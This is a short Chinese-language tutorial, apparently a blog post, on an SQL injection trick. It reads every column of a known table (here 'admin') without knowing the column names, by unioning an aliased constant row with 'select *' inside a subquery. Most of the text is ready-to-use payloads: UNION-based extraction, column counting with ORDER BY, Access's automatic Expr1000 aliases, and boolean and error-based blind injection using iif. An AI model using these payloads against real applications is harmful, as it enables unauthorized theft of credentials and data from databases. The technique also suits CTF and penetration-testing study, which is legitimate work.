一个注入小技巧:利用子查询忽略字段名

条件:已知表名,字段名未知,数据库本身支持子查询
对付access比较有用,也可以用来偷懒,比如从各种ctf的flag表里面读数据
思路:在子查询里面写针对目标表的联合查询:第一个查询以常量为每一个字段占位,同时指定别名;紧随其后的联合查询查询目标表所有字段(*);最后对这个子查询的结果集进行联合查询或盲注。
例如有注入点:

select title,time,author,content from article where id={inject here}

字段为四,已知表名admin,admin字段未知
先猜测admin表字段总数,在子查询中加入order by,999999999 为不存在的id:

select title,time,author,content from article where id=999999999 union select 1,2,3,4 from(select * from admin order by 1)

假设获得字段总数为五,构造子查询的联合查询语句并指定别名:

select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5 from admin where 1=2 union select * from admin

最后对这个子查询结果集进行查询即可:

select title,time,author,content from article where id=999999999 union select 1,2,3,field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5 from(select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5 from admin where 1=2 union select * from admin)

当数据库为access时,可以不指定别名,access为未命名的表达式自动添加别名,第一个为Expr1000,第二个为Expr1001。于是以上语句可变为:

select title,time,author,content from article where id=999999999 union select 1 as x,2 as xx,3 as xxx,Expr1000&'|'&Expr1001&'|'&Expr1002&'|'&Expr1003&'|'&Expr1004 as xxxx from(select 1,2,3,4,5 from admin where 1=2 union select * from admin)

 

注意如果原始语句中存在表达式,则这种查询方式可能不正确。

需要加条件的时候,再套一层子查询:

select title,time,author,content from article where id=999999999 union select 1,2,3,field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5 from(select * from (select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5 from admin where 1=2 union select * from admin) where field_1 not in (1))

盲注的时候可以这样(用于回显不同时):

select title,time,author,content from article where id=999999999 or (select top 1 len(field_1) from(select 1 as field_1,2,3,4,5 from admin where 1=2 union select * from admin))>0

也可以这样(用于因多次代入无论如何都报错时,或500/200的区别时):

select title,time,author,content from article where id=999999999 or iif((select top 1 len(field_1) from(select 1 as field_1,2,3,4,5 from admin where 1=2 union select * from admin))>0,1,(select 2 from multi_rows_table))=1

需要multi_rows_table记录数大于1
最后,部分数据库需要对子查询指定别名(access不用指定所以没写)。

“妈妈再也不担心我的access注入了!”

 

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